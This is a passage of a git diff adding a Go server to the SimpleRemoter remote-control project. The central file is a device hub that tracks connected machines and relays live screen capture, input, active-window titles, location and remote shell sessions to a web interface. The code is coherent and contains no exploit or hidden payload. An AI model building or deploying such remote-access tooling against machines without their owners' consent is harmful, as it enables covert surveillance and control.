httpSrv := web.New(*httpPort, log.WithPrefix("Web"), deviceHub, webAuth).
WithConfig(webCfg)
if err := httpSrv.Start(); err != nil {
log.Fatal("Failed to start HTTP server: %v", err)
}
fmt.Printf("Server started on port(s): %v\n", ports)
if *httpPort != 0 {
fmt.Printf("Web UI on http://localhost:%d/\n", *httpPort)
}
fmt.Println("Logs are written to: logs/server.log")
fmt.Println("Press Ctrl+C to stop...")
@@ -305,6 +798,7 @@ func main() {
<-sigChan
fmt.Println("\nShutting down...")
httpSrv.Stop()
for _, srv := range servers {
srv.Stop()
}

View File

@@ -86,6 +86,15 @@ const (
// NewContext creates a new connection context
func NewContext(conn net.Conn, mgr *Manager) *Context {
now := time.Now()
// Disable Nagle's algorithm. The protocol mixes tiny acks (ConnAuth,
// HeartbeatAck, CMD_MASTERSETTING) with large frame bursts; with Nagle
// on, those acks sit in the kernel buffer up to ~200 ms waiting for
// more bytes, and combined with the peer's delayed-ACK that's enough
// to make the screen handshake feel sluggish vs. the C++ server (which
// sets TCP_NODELAY on every sub-context in ScreenSpyDlg).
if tcp, ok := conn.(*net.TCPConn); ok {
_ = tcp.SetNoDelay(true)
}
ctx := &Context{
Conn: conn,
RemoteAddr: conn.RemoteAddr().String(),

17
server/go/go.mod Normal file
View File

@@ -0,0 +1,17 @@
module github.com/yuanyuanxiang/SimpleRemoter/server/go
go 1.24.5
require (
github.com/gorilla/websocket v1.5.3
github.com/klauspost/compress v1.18.2
github.com/rs/zerolog v1.34.0
golang.org/x/text v0.32.0
gopkg.in/natefinch/lumberjack.v2 v2.2.1
)
require (
github.com/mattn/go-colorable v0.1.13 // indirect
github.com/mattn/go-isatty v0.0.19 // indirect
golang.org/x/sys v0.12.0 // indirect
)

View File

@@ -1,5 +1,7 @@
github.com/coreos/go-systemd/v22 v22.5.0/go.mod h1:Y58oyj3AT4RCenI/lSvhwexgC+NSVTIJ3seZv2GcEnc=
github.com/godbus/dbus/v5 v5.0.4/go.mod h1:xhWf0FNVPg57R7Z0UbKHbJfkEywrmjJnf7w5xrFpKfA=
github.com/gorilla/websocket v1.5.3 h1:saDtZ6Pbx/0u+bgYQ3q96pZgCzfhKXGPqt7kZ72aNNg=
github.com/gorilla/websocket v1.5.3/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE=
github.com/klauspost/compress v1.18.2 h1:iiPHWW0YrcFgpBYhsA6D1+fqHssJscY/Tm/y2Uqnapk=
github.com/klauspost/compress v1.18.2/go.mod h1:R0h/fSBs8DE4ENlcrlib3PsXS61voFxhIs2DeRhCvJ4=
github.com/mattn/go-colorable v0.1.13 h1:fFA4WZxdEF4tXPZVKMLwD8oUnCTTo08duU7wxecdEvA=

805
server/go/hub/hub.go Normal file
View File

@@ -0,0 +1,805 @@
// Package hub maintains the registry of currently online devices and acts as
// the bridge between the TCP server (which sees raw client connections) and
// the web server (which serves browser clients).
//
// The TCP side calls Register / Unregister / UpdateLive / BindScreenConn as
// the protocol layer notices new sub-connections.
// The web side calls ListDevices / SendToDevice / Subscribe.
// Neither side imports the other — both depend only on this package.
package hub
import (
"errors"
"sync"
"time"
"github.com/yuanyuanxiang/SimpleRemoter/server/go/connection"
"github.com/yuanyuanxiang/SimpleRemoter/server/go/protocol"
)
// ErrDeviceOffline is returned by SendToDevice when the target device is not
// (no longer) registered.
var ErrDeviceOffline = errors.New("device offline")
// ErrNoSender is returned by SendToDevice if SetSender has not been called.
var ErrNoSender = errors.New("hub sender not configured")
// SendFunc encodes-and-writes raw command bytes to a device's TCP context.
// In practice this is bound to server.Server.Send at startup.
type SendFunc func(ctx *connection.Context, data []byte) error
// Device is the internal record for one logical end-device (keyed by MasterID).
// A single device may use multiple TCP sub-connections (screen, terminal …);
// only the main login connection is stored here.
//
// PCName from LOGIN_INFOR is interpreted as "ComputerName/Group" and
// ModuleVersion as "Version-Capability"; the split halves live in separate
// fields so the front-end can render them independently.
type Device struct {
ID string // MasterID — stable identifier the client reports at login
Name string // PCName before '/' (real computer name)
Group string // PCName after '/' (group label; may be empty)
Version string // ModuleVersion before '-' (semantic version)
Capability string // ModuleVersion after '-' (capability tags; may be empty)
OS string // OS version string
CPU string // from LOGIN_INFOR reserved field 2
FilePath string // from LOGIN_INFOR reserved field 4
InstallTime string // from LOGIN_INFOR reserved field 6 (or StartTime)
Location string // client-reported geo string (reserved field 10)
PeerIP string // network-level remote address as seen by the server
PublicIP string // client-reported public IP (reserved field 11)
Resolution string // client-formatted screen geometry "N:W*H" (reserved field 15)
ConnectedAt time.Time
// Live fields refreshed on every heartbeat. Protected by hub.mu.
RTT int // network latency in ms (Heartbeat.Ping)
ActiveWindow string // foreground window title (Heartbeat.ActiveWnd, decoded)
// conn is the main connection's context — used by SendToDevice to forward
// commands (COMMAND_SCREEN_SPY, etc.) to the device.
conn *connection.Context
// screenConn is the device-initiated sub-connection that streams
// TOKEN_BITMAPINFO / TOKEN_FIRSTSCREEN / TOKEN_NEXTSCREEN frames. Bound
// after the device responds to COMMAND_SCREEN_SPY. Nil while no screen
// session is active.
screenConn *connection.Context
// Cached screen state, for late-joining browsers. Populated by the
// PublishResolution / PublishScreenFrame call sites. screenWidth==0 or
// lastKeyframe==nil indicates "no session" / "no IDR seen yet".
screenWidth int
screenHeight int
lastKeyframe []byte // fully-packed WS binary packet of the most recent IDR
// Cursor index dedup: cursors arrive on every frame (~30 Hz) but only
// rarely change. Suppress duplicates so the WS doesn't carry redundant
// JSON messages.
cursorSeen bool
lastCursorIndex byte
// Terminal session state — at most one web terminal per device (MVP
// constraint shared with the C++ server). All three fields are
// guarded by hub.mu.
//
// terminalPending: COMMAND_SHELL has been sent, waiting for the device's
// sub-conn to arrive and announce itself via TOKEN_TERMINAL_START /
// TOKEN_SHELL_START.
// terminalConn: the shell sub-conn ctx after binding. Nil before BIND
// and after teardown.
// terminalIsPTY: distinguishes Linux/macOS/ConPTY (true) from the legacy
// Windows cmd-pipe path. PTY mode supports resize; cmd-pipe ignores it.
terminalPending bool
terminalConn *connection.Context
terminalIsPTY bool
}
// ScreenCache is a read-only snapshot of a device's last-seen screen state,
// used by wsHub.handleConnect to bootstrap late joiners.
type ScreenCache struct {
Width int
Height int
Keyframe []byte // packed WS packet; nil if no keyframe cached yet
Active bool // true iff a screen sub-conn is currently bound
}
// ScreenState returns a snapshot of the device's current screen state, or
// an empty struct if the device is unknown. Safe to call from any goroutine.
func (h *Hub) ScreenState(deviceID string) ScreenCache {
h.mu.RLock()
defer h.mu.RUnlock()
d, ok := h.devices[deviceID]
if !ok {
return ScreenCache{}
}
return ScreenCache{
Width: d.screenWidth,
Height: d.screenHeight,
Keyframe: d.lastKeyframe,
Active: d.screenConn != nil,
}
}
// MainConn exposes the device's main TCP context for callers that need to
// send commands directly. Returns nil if the device is not registered.
func (h *Hub) MainConn(id string) *connection.Context {
h.mu.RLock()
defer h.mu.RUnlock()
if d, ok := h.devices[id]; ok {
return d.conn
}
return nil
}
// Capability returns the device's reported capability hex string
// (LOGIN_INFOR.moduleVersion tail). Empty for unknown devices — callers
// should treat that as "no caps" (legacy Windows GBK default).
func (h *Hub) Capability(id string) string {
h.mu.RLock()
defer h.mu.RUnlock()
if d, ok := h.devices[id]; ok {
return d.Capability
}
return ""
}
// DeviceInfo is the JSON-safe projection of Device for the /api/devices
// endpoint and the WS device_list message. Field names match what the
// existing browser front-end expects.
type DeviceInfo struct {
ID string `json:"id"`
Name string `json:"name"`
Group string `json:"group,omitempty"`
Version string `json:"version"`
Capability string `json:"capability,omitempty"`
OS string `json:"os"`
CPU string `json:"cpu,omitempty"`
FilePath string `json:"file_path,omitempty"`
InstallTime string `json:"install_time,omitempty"`
Location string `json:"location,omitempty"`
IP string `json:"ip"` // client-reported public IP (matches C++ key)
PeerIP string `json:"peer_ip,omitempty"`
Screen string `json:"screen,omitempty"` // "N:W*H" — matches C++ DeviceInfo.screen key
RTT int `json:"rtt"`
ActiveWindow string `json:"activeWindow,omitempty"`
ConnectedAt int64 `json:"connected_at"`
Online bool `json:"online"`
}
// EventHandler receives notifications about device lifecycle, per-tick live
// updates, screen frames and resolution changes. Methods are invoked
// synchronously from the corresponding hub mutator — implementations must
// be non-blocking (typically just write to a channel or queue).
type EventHandler interface {
OnDeviceOnline(d DeviceInfo)
OnDeviceOffline(id string)
OnDeviceUpdate(id string, rtt int, activeWindow string)
// OnScreenFrame delivers a fully-formed WS binary packet for the given
// device. The packet matches the C++ layout:
// [DeviceID:4 LE][FrameType:1][DataLen:4 LE][H264:N]
// Implementations should treat the slice as read-only.
OnScreenFrame(deviceID string, packet []byte, isKeyframe bool)
// OnResolutionChange fires when a screen session starts (TOKEN_BITMAPINFO)
// or whenever the device reports a new screen geometry mid-stream.
OnResolutionChange(deviceID string, width, height int)
// OnCursorChange fires when the device's foreground cursor index changes.
// Duplicates (same index as the previous frame) are filtered out by the
// hub before reaching subscribers.
OnCursorChange(deviceID string, index byte)
// OnTerminalReady fires once the device's shell sub-conn is bound and
// the server has sent COMMAND_NEXT to start its output read loop.
// isPTY=true means PTY mode (Linux/macOS or ConPTY); false means the
// legacy Windows cmd-pipe path which doesn't support resize.
OnTerminalReady(deviceID string, isPTY bool)
// OnTerminalData ships one chunk of raw shell output (already wrapped
// in the WS-binary "TRM1" magic header) to terminal viewers.
OnTerminalData(deviceID string, packet []byte)
// OnTerminalClosed fires when the session ends — either because the
// device sent TOKEN_TERMINAL_CLOSE, the sub-conn dropped, or the
// server explicitly tore it down.
OnTerminalClosed(deviceID string, reason string)
}
// Hub is a thread-safe registry of online devices.
type Hub struct {
mu sync.RWMutex
devices map[string]*Device
subMu sync.RWMutex
subscribers []EventHandler
sender SendFunc
// Reverse index: TCP context -> device ID for the device's screen
// sub-connection. Lets us clean up on raw-connection close without
// having to walk every device. Empty when no screen sessions exist.
screenIndex map[*connection.Context]string
screenIndexMu sync.RWMutex
// Parallel reverse index for terminal sub-conns. Same purpose: O(1)
// lookup from a raw ctx (e.g. on OnDisconnect) back to its device.
terminalIndex map[*connection.Context]string
terminalIndexMu sync.RWMutex
}
// New returns an empty Hub.
func New() *Hub {
return &Hub{
devices: make(map[string]*Device),
screenIndex: make(map[*connection.Context]string),
terminalIndex: make(map[*connection.Context]string),
}
}
// SetSender wires the function used to deliver outbound bytes on a device's
// main TCP connection. Typically called once in main() with server.Send.
func (h *Hub) SetSender(fn SendFunc) {
h.sender = fn
}
// SendToDevice forwards an already-formed command payload to the device's
// main connection. data should be the raw command bytes (the sender takes
// care of framing / compression at the protocol layer).
func (h *Hub) SendToDevice(id string, data []byte) error {
h.mu.RLock()
d, ok := h.devices[id]
h.mu.RUnlock()
if !ok || d.conn == nil {
return ErrDeviceOffline
}
if h.sender == nil {
return ErrNoSender
}
return h.sender(d.conn, data)
}
// SendToScreen routes a payload to the device's currently-bound screen
// sub-connection. Input events (COMMAND_SCREEN_CONTROL) MUST go through the
// screen sub-conn rather than the main conn — the C++ client only dispatches
// these commands from CScreenManager::OnReceive, which reads exclusively from
// the sub-conn (see client/ScreenManager.cpp:1065). Returns ErrDeviceOffline
// when the device is unknown OR has no active screen session, so callers can
// quietly drop input from browsers that haven't called connect yet.
func (h *Hub) SendToScreen(id string, data []byte) error {
h.mu.RLock()
d, ok := h.devices[id]
var sc *connection.Context
if ok {
sc = d.screenConn
}
h.mu.RUnlock()
if !ok || sc == nil {
return ErrDeviceOffline
}
if h.sender == nil {
return ErrNoSender
}
return h.sender(sc, data)
}
// BindScreenConn associates a freshly-arrived sub-connection (the one that
// just sent TOKEN_BITMAPINFO) with the device identified by clientID.
// Returns false if the device is not registered — callers should drop the
// orphan connection in that case.
func (h *Hub) BindScreenConn(deviceID string, ctx *connection.Context) bool {
if deviceID == "" || ctx == nil {
return false
}
h.mu.Lock()
d, ok := h.devices[deviceID]
if !ok {
h.mu.Unlock()
return false
}
d.screenConn = ctx
h.mu.Unlock()
h.screenIndexMu.Lock()
h.screenIndex[ctx] = deviceID
h.screenIndexMu.Unlock()
return true
}
// ScreenDeviceID returns the device ID whose screen sub-connection this
// context represents, or "" if the context is not a screen sub-connection.
// Used by the TCP layer to route TOKEN_FIRSTSCREEN / TOKEN_NEXTSCREEN frames.
func (h *Hub) ScreenDeviceID(ctx *connection.Context) string {
h.screenIndexMu.RLock()
defer h.screenIndexMu.RUnlock()
return h.screenIndex[ctx]
}
// UnbindScreenConn removes the screen sub-connection mapping (called on TCP
// disconnect of a screen sub-context). No-op if the context isn't tracked.
func (h *Hub) UnbindScreenConn(ctx *connection.Context) {
h.screenIndexMu.Lock()
deviceID, ok := h.screenIndex[ctx]
if !ok {
h.screenIndexMu.Unlock()
return
}
delete(h.screenIndex, ctx)
h.screenIndexMu.Unlock()
h.mu.Lock()
if d, ok := h.devices[deviceID]; ok && d.screenConn == ctx {
d.screenConn = nil
// Clear the cache too — when this device's screen comes back up, the
// resolution and IDR will be republished fresh.
d.screenWidth = 0
d.screenHeight = 0
d.lastKeyframe = nil
}
h.mu.Unlock()
}
// Subscribe registers an EventHandler. The returned func removes it.
// Multiple handlers are supported; each receives every event.
func (h *Hub) Subscribe(eh EventHandler) (unsubscribe func()) {
h.subMu.Lock()
h.subscribers = append(h.subscribers, eh)
h.subMu.Unlock()
return func() {
h.subMu.Lock()
defer h.subMu.Unlock()
for i, x := range h.subscribers {
if x == eh {
h.subscribers = append(h.subscribers[:i], h.subscribers[i+1:]...)
return
}
}
}
}
func (h *Hub) snapshotSubscribers() []EventHandler {
h.subMu.RLock()
defer h.subMu.RUnlock()
out := make([]EventHandler, len(h.subscribers))
copy(out, h.subscribers)
return out
}
// Register records a device as online and pins the main TCP connection that
// will receive outbound commands via SendToDevice. Re-registering an existing
// ID overwrites the previous entry (e.g. a client reconnect with the same
// MasterID). A nil device, nil conn, or empty ID is silently ignored.
// Subscribers are notified after the device is added.
func (h *Hub) Register(d *Device, conn *connection.Context) {
if d == nil || d.ID == "" || conn == nil {
return
}
d.conn = conn
h.mu.Lock()
h.devices[d.ID] = d
info := deviceToInfo(d)
h.mu.Unlock()
for _, s := range h.snapshotSubscribers() {
s.OnDeviceOnline(info)
}
}
// Unregister removes a device by ID. No-op if not present.
// Subscribers are notified after the device is removed (only if it existed).
func (h *Hub) Unregister(id string) {
if id == "" {
return
}
h.mu.Lock()
_, existed := h.devices[id]
delete(h.devices, id)
h.mu.Unlock()
if !existed {
return
}
for _, s := range h.snapshotSubscribers() {
s.OnDeviceOffline(id)
}
}
// ListDevices returns a fresh snapshot slice. The caller may mutate it freely;
// it shares no state with the hub.
func (h *Hub) ListDevices() []DeviceInfo {
h.mu.RLock()
defer h.mu.RUnlock()
out := make([]DeviceInfo, 0, len(h.devices))
for _, d := range h.devices {
out = append(out, deviceToInfo(d))
}
return out
}
func deviceToInfo(d *Device) DeviceInfo {
return DeviceInfo{
ID: d.ID,
Name: d.Name,
Group: d.Group,
Version: d.Version,
Capability: d.Capability,
OS: d.OS,
CPU: d.CPU,
FilePath: d.FilePath,
InstallTime: d.InstallTime,
Location: d.Location,
IP: d.PublicIP,
PeerIP: d.PeerIP,
Screen: d.Resolution,
RTT: d.RTT,
ActiveWindow: d.ActiveWindow,
ConnectedAt: d.ConnectedAt.Unix(),
Online: true, // a device that's in the map is by definition online
}
}
// PublishCursor notifies subscribers when the device reports a new cursor
// index. Repeated identical indices are suppressed so the WS isn't spammed
// with per-frame cursor JSON. No-op for unknown devices.
func (h *Hub) PublishCursor(deviceID string, index byte) {
h.mu.Lock()
d, ok := h.devices[deviceID]
if !ok {
h.mu.Unlock()
return
}
if d.cursorSeen && d.lastCursorIndex == index {
h.mu.Unlock()
return
}
d.cursorSeen = true
d.lastCursorIndex = index
h.mu.Unlock()
for _, s := range h.snapshotSubscribers() {
s.OnCursorChange(deviceID, index)
}
}
// CloseScreen tears down the active screen sub-connection for the device,
// if any. Used when the last viewer leaves so the device stops capturing.
//
// Cache (screenConn / screenWidth / lastKeyframe) is cleared SYNCHRONOUSLY
// here, not deferred to the eventual OnDisconnect → UnbindScreenConn path.
// Otherwise a new viewer arriving in the brief window between TCP close and
// the disconnect callback would see Active=true with stale dimensions/IDR
// and skip the COMMAND_SCREEN_SPY kick, leaving the page stuck on a "connected"
// status with no frames ever arriving.
func (h *Hub) CloseScreen(deviceID string) {
h.mu.Lock()
d, ok := h.devices[deviceID]
if !ok {
h.mu.Unlock()
return
}
sc := d.screenConn
d.screenConn = nil
d.screenWidth = 0
d.screenHeight = 0
d.lastKeyframe = nil
h.mu.Unlock()
if sc != nil {
// Drop the screenIndex entry SYNCHRONOUSLY so any in-flight frames
// still draining out of the device on this sub-conn (between our
// FIN and the device's clean-up) are silently dropped instead of
// being relayed to the freshly initialized browser decoder. Mixing
// frames from the old x264 SPS/PPS sequence with the new session's
// decoder produces the classic "every other quick reconnect goes
// black" symptom — old NAL units come in via the old ctx after we
// nulled d.screenConn but before OnDisconnect fires.
h.screenIndexMu.Lock()
delete(h.screenIndex, sc)
h.screenIndexMu.Unlock()
// Tell the client to shut its screen pipeline down gracefully.
// Without this, the client's IOCPClient sees recv()==0 as a network
// blip and fires m_ReconnectFunc, which:
// 1. Reconnects the sub-conn (~100 ms)
// 2. Re-sends ConnAuthPacket (no BITMAPINFO!)
// 3. Keeps the capture thread alive for ~10 s holding DXGI handles
// 4. ConnAuth eventually times out, ScreenManager exits
// Net effect: a second viewer arriving within ~10 s of leaving lands
// in the dead window where the device is still capturing for the old
// (now unrouted) sub-conn — page sits on "Waiting for video".
//
// COMMAND_BYE is what the C++ server sends via
// CDialogBase::SayByeBye (server/2015Remote/IOCPServer.h:248) before
// it tears down a sub-conn for the same reason. Client-side handler:
// CScreenManager::OnReceive case COMMAND_BYE
// (client/ScreenManager.cpp:812) sets m_bIsWorking=FALSE and calls
// StopRunning() — the clean exit path that does NOT trigger reconnect.
if h.sender != nil {
_ = h.sender(sc, []byte{protocol.CommandBye})
}
// Mirror the C++ flow (ScreenSpyDlg.cpp:842 — Sleep(500); CancelIO()).
// Give the device's read loop a moment to pull COMMAND_BYE off the
// wire before our FIN arrives; otherwise on a fast LAN the BYE byte
// can be coalesced with the FIN and the client's IOCPClient may
// observe recv()==0 first and trigger reconnect anyway.
// Run the close on a goroutine so the caller (web handler) isn't
// blocked for 500 ms. screenIndex is already cleared above, so
// in-flight frames during the grace window are silently dropped.
go func(c *connection.Context) {
time.Sleep(500 * time.Millisecond)
c.Close()
}(sc)
}
}
// PublishResolution announces a new (or first-ever) screen geometry for a
// device. The browser uses width/height to initialize its WebCodecs decoder.
// The latest dimensions are also cached on the Device so future late-joining
// viewers can be bootstrapped without waiting for the next BITMAPINFO.
func (h *Hub) PublishResolution(deviceID string, width, height int) {
h.mu.Lock()
if d, ok := h.devices[deviceID]; ok {
d.screenWidth = width
d.screenHeight = height
}
h.mu.Unlock()
for _, s := range h.snapshotSubscribers() {
s.OnResolutionChange(deviceID, width, height)
}
}
// PublishScreenFrame fans out a screen frame packet to all subscribers.
// Callers must have already wrapped the H.264 NAL payload in the
// [DeviceID:4][FrameType:1][DataLen:4][...] header expected by the browser.
// The packet slice is shared with subscribers — do not mutate after publish.
//
// Keyframe packets are also retained on the Device record so a new viewer
// joining a live session can immediately receive a decodable starting point
// instead of waiting up to ~15 s for the next IDR.
func (h *Hub) PublishScreenFrame(deviceID string, packet []byte, isKeyframe bool) {
if isKeyframe {
h.mu.Lock()
if d, ok := h.devices[deviceID]; ok {
d.lastKeyframe = packet
}
h.mu.Unlock()
}
for _, s := range h.snapshotSubscribers() {
s.OnScreenFrame(deviceID, packet, isKeyframe)
}
}
// UpdateLive applies a heartbeat-derived RTT and active-window title to the
// device's live fields, then notifies subscribers. No-op if the device is
// not registered (e.g. heartbeat arriving for a connection that never sent
// TOKEN_LOGIN or has already disconnected).
func (h *Hub) UpdateLive(id string, rtt int, activeWindow string) {
if id == "" {
return
}
h.mu.Lock()
d, ok := h.devices[id]
if !ok {
h.mu.Unlock()
return
}
d.RTT = rtt
d.ActiveWindow = activeWindow
h.mu.Unlock()
for _, s := range h.snapshotSubscribers() {
s.OnDeviceUpdate(id, rtt, activeWindow)
}
}
// ----- Terminal session management (Phase 6) --------------------------------
// ErrTerminalBusy is returned by OpenTerminalSession when the device already
// has a pending or active terminal session — MVP enforces single-viewer.
var ErrTerminalBusy = errors.New("terminal already open by another viewer")
// OpenTerminalSession atomically marks a terminal session as pending for the
// device, then sends COMMAND_SHELL on the main TCP connection so the device
// will spawn a shell sub-conn. Returns nil if the request was sent. On any
// failure the pending flag is rolled back so retries are possible.
//
// Single-viewer constraint: if a pending or bound session already exists,
// returns ErrTerminalBusy. Mirrors C++ CWebService::HandleTermOpen
// (server/2015Remote/WebService.cpp:1838).
func (h *Hub) OpenTerminalSession(deviceID string) error {
if deviceID == "" {
return ErrDeviceOffline
}
h.mu.Lock()
d, ok := h.devices[deviceID]
if !ok || d.conn == nil {
h.mu.Unlock()
return ErrDeviceOffline
}
if d.terminalPending || d.terminalConn != nil {
h.mu.Unlock()
return ErrTerminalBusy
}
d.terminalPending = true
mainConn := d.conn
h.mu.Unlock()
if h.sender == nil {
// Roll back so a retry isn't permanently blocked.
h.mu.Lock()
d.terminalPending = false
h.mu.Unlock()
return ErrNoSender
}
if err := h.sender(mainConn, []byte{protocol.CommandShell}); err != nil {
h.mu.Lock()
d.terminalPending = false
h.mu.Unlock()
return err
}
return nil
}
// IsTerminalPending tells the TCP layer whether the next-arriving shell
// sub-conn should be claimed by the web terminal. The C++ side uses this
// in MessageHandle to decide between WebService takeover and opening an
// MFC dialog (server/2015Remote/2015RemoteDlg.cpp:5753).
func (h *Hub) IsTerminalPending(deviceID string) bool {
h.mu.RLock()
defer h.mu.RUnlock()
d, ok := h.devices[deviceID]
return ok && d.terminalPending
}
// BindTerminalConn promotes the pending session to an active one by
// associating the device's freshly-arrived shell sub-conn. Returns false
// if no pending session exists — callers should drop the orphan ctx.
//
// Subscribers receive OnTerminalReady AFTER binding so they can flip the
// browser into "ready" state immediately on the same TCP roundtrip that
// will deliver the first shell output.
func (h *Hub) BindTerminalConn(deviceID string, ctx *connection.Context, isPTY bool) bool {
if deviceID == "" || ctx == nil {
return false
}
h.mu.Lock()
d, ok := h.devices[deviceID]
if !ok || !d.terminalPending {
h.mu.Unlock()
return false
}
d.terminalConn = ctx
d.terminalIsPTY = isPTY
d.terminalPending = false
h.mu.Unlock()
h.terminalIndexMu.Lock()
h.terminalIndex[ctx] = deviceID
h.terminalIndexMu.Unlock()
for _, s := range h.snapshotSubscribers() {
s.OnTerminalReady(deviceID, isPTY)
}
return true
}
// TerminalDeviceID returns the device ID whose terminal sub-conn this
// context belongs to, or "" otherwise. The TCP layer uses this on every
// inbound packet on a sub-conn — when non-empty, the bytes are raw shell
// output and bypass the usual command-byte switch.
func (h *Hub) TerminalDeviceID(ctx *connection.Context) string {
h.terminalIndexMu.RLock()
defer h.terminalIndexMu.RUnlock()
return h.terminalIndex[ctx]
}
// UnbindTerminalConn removes the terminal mapping (called from the TCP
// disconnect path for any sub-conn ctx). Fires OnTerminalClosed once if
// the unbind actually removed something — so subscribers can update the
// browser even on unexpected device-side drops.
func (h *Hub) UnbindTerminalConn(ctx *connection.Context) {
h.terminalIndexMu.Lock()
deviceID, tracked := h.terminalIndex[ctx]
if !tracked {
h.terminalIndexMu.Unlock()
return
}
delete(h.terminalIndex, ctx)
h.terminalIndexMu.Unlock()
h.mu.Lock()
if d, ok := h.devices[deviceID]; ok && d.terminalConn == ctx {
d.terminalConn = nil
d.terminalPending = false
d.terminalIsPTY = false
}
h.mu.Unlock()
for _, s := range h.snapshotSubscribers() {
s.OnTerminalClosed(deviceID, "disconnected")
}
}
// SendToTerminal forwards bytes (typically xterm.js keystrokes) to the
// device's shell sub-conn. Returns ErrDeviceOffline if no session is
// active for this device.
func (h *Hub) SendToTerminal(id string, data []byte) error {
h.mu.RLock()
d, ok := h.devices[id]
var tc *connection.Context
if ok {
tc = d.terminalConn
}
h.mu.RUnlock()
if !ok || tc == nil {
return ErrDeviceOffline
}
if h.sender == nil {
return ErrNoSender
}
return h.sender(tc, data)
}
// TerminalIsPTY reports whether the active session is PTY mode (the
// resize command only applies in PTY mode — legacy cmd-pipe ignores it).
func (h *Hub) TerminalIsPTY(id string) bool {
h.mu.RLock()
defer h.mu.RUnlock()
d, ok := h.devices[id]
return ok && d.terminalConn != nil && d.terminalIsPTY
}
// CloseTerminalSession tears down the session from the server side
// (typically when the requesting browser sends term_close or disconnects).
// Mirrors CloseScreen's graceful pattern: drop the index synchronously,
// send COMMAND_BYE, then close after a short grace period so the client's
// IOCPClient reconnect logic doesn't fire.
func (h *Hub) CloseTerminalSession(deviceID string) {
h.mu.Lock()
d, ok := h.devices[deviceID]
if !ok {
h.mu.Unlock()
return
}
tc := d.terminalConn
// hadSession guards against firing spurious OnTerminalClosed events
// when there was nothing to tear down — relevant when the main-conn
// teardown path calls CloseTerminalSession unconditionally as part of
// device-offline cleanup, or when both OnDisconnect and an explicit
// browser term_close race for the same teardown.
hadSession := tc != nil || d.terminalPending
d.terminalConn = nil
d.terminalPending = false
d.terminalIsPTY = false
h.mu.Unlock()
if !hadSession {
return
}
for _, s := range h.snapshotSubscribers() {
s.OnTerminalClosed(deviceID, "closed")
}
if tc == nil {
return
}
h.terminalIndexMu.Lock()
delete(h.terminalIndex, tc)
h.terminalIndexMu.Unlock()
// Mirror Hub.CloseScreen: send COMMAND_BYE then close after 500 ms so
// the device exits its shell read loop instead of treating the FIN as
// a network blip and triggering reconnect.
if h.sender != nil {
_ = h.sender(tc, []byte{protocol.CommandBye})
}
go func(c *connection.Context) {
time.Sleep(500 * time.Millisecond)
c.Close()
}(tc)
}
// PublishTerminalData fans out one chunk of shell output to subscribers.
// Caller has already wrapped it in the "TRM1" magic header so the browser
// can demultiplex from screen frames over the shared WebSocket.
func (h *Hub) PublishTerminalData(deviceID string, packet []byte) {
for _, s := range h.snapshotSubscribers() {
s.OnTerminalData(deviceID, packet)
}
}
// Count returns the current number of online devices.
func (h *Hub) Count() int {
h.mu.RLock()
defer h.mu.RUnlock()
return len(h.devices)
}

171
server/go/hub/hub_test.go Normal file
View File

@@ -0,0 +1,171 @@
package hub
import (
"fmt"
"sync"
"testing"
"time"
"github.com/yuanyuanxiang/SimpleRemoter/server/go/connection"
)
// stubCtx returns a non-nil *connection.Context useful only as a sentinel.
// Tests never invoke Send / Close on it.
func stubCtx() *connection.Context { return &connection.Context{} }
func TestHubRegisterListUnregister(t *testing.T) {
h := New()
if got := h.Count(); got != 0 {
t.Fatalf("empty hub: want Count=0, got %d", got)
}
h.Register(&Device{ID: "a", Name: "Alice", ConnectedAt: time.Now()}, stubCtx())
h.Register(&Device{ID: "b", Name: "Bob", ConnectedAt: time.Now()}, stubCtx())
if got := h.Count(); got != 2 {
t.Fatalf("after 2 registers: want Count=2, got %d", got)
}
list := h.ListDevices()
if len(list) != 2 {
t.Fatalf("want 2 devices in list, got %d", len(list))
}
h.Unregister("a")
if got := h.Count(); got != 1 {
t.Fatalf("after unregister: want Count=1, got %d", got)
}
// Unregister non-existent ID is a no-op
h.Unregister("ghost")
if got := h.Count(); got != 1 {
t.Fatalf("after no-op unregister: want Count=1, got %d", got)
}
}
func TestHubNilAndEmptyIgnored(t *testing.T) {
h := New()
h.Register(nil, stubCtx())
h.Register(&Device{ID: ""}, stubCtx())
h.Register(&Device{ID: "valid"}, nil) // nil conn should also be rejected
h.Unregister("")
if got := h.Count(); got != 0 {
t.Fatalf("nil/empty register should be no-op, got Count=%d", got)
}
}
type captureHandler struct {
mu sync.Mutex
online []string
offline []string
updates []string // formatted "id:rtt"
}
func (c *captureHandler) OnDeviceOnline(d DeviceInfo) {
c.mu.Lock()
c.online = append(c.online, d.ID)
c.mu.Unlock()
}
func (c *captureHandler) OnDeviceOffline(id string) {
c.mu.Lock()
c.offline = append(c.offline, id)
c.mu.Unlock()
}
func (c *captureHandler) OnDeviceUpdate(id string, rtt int, _ string) {
c.mu.Lock()
c.updates = append(c.updates, fmt.Sprintf("%s:%d", id, rtt))
c.mu.Unlock()
}
func (c *captureHandler) OnScreenFrame(_ string, _ []byte, _ bool) {}
func (c *captureHandler) OnResolutionChange(_ string, _, _ int) {}
func (c *captureHandler) OnCursorChange(_ string, _ byte) {}
func (c *captureHandler) OnTerminalReady(_ string, _ bool) {}
func (c *captureHandler) OnTerminalData(_ string, _ []byte) {}
func (c *captureHandler) OnTerminalClosed(_ string, _ string) {}
func TestHubSubscribeEvents(t *testing.T) {
h := New()
c := &captureHandler{}
unsub := h.Subscribe(c)
h.Register(&Device{ID: "x", Name: "x"}, stubCtx())
h.Register(&Device{ID: "y", Name: "y"}, stubCtx())
h.Unregister("x")
h.Unregister("nonexistent") // no event
if len(c.online) != 2 || c.online[0] != "x" || c.online[1] != "y" {
t.Fatalf("online events: %+v", c.online)
}
if len(c.offline) != 1 || c.offline[0] != "x" {
t.Fatalf("offline events: %+v", c.offline)
}
unsub()
h.Register(&Device{ID: "z"}, stubCtx())
if len(c.online) != 2 {
t.Fatalf("after unsubscribe should not receive events: %+v", c.online)
}
}
func TestHubUpdateLive(t *testing.T) {
h := New()
c := &captureHandler{}
h.Subscribe(c)
h.Register(&Device{ID: "x", Name: "x"}, stubCtx())
h.UpdateLive("x", 42, "Notepad")
h.UpdateLive("ghost", 999, "should be ignored") // unknown id, no event
if len(c.updates) != 1 || c.updates[0] != "x:42" {
t.Fatalf("updates: %+v", c.updates)
}
list := h.ListDevices()
if list[0].RTT != 42 || list[0].ActiveWindow != "Notepad" {
t.Fatalf("live fields not applied: %+v", list[0])
}
}
func TestHubRegisterOverwrites(t *testing.T) {
h := New()
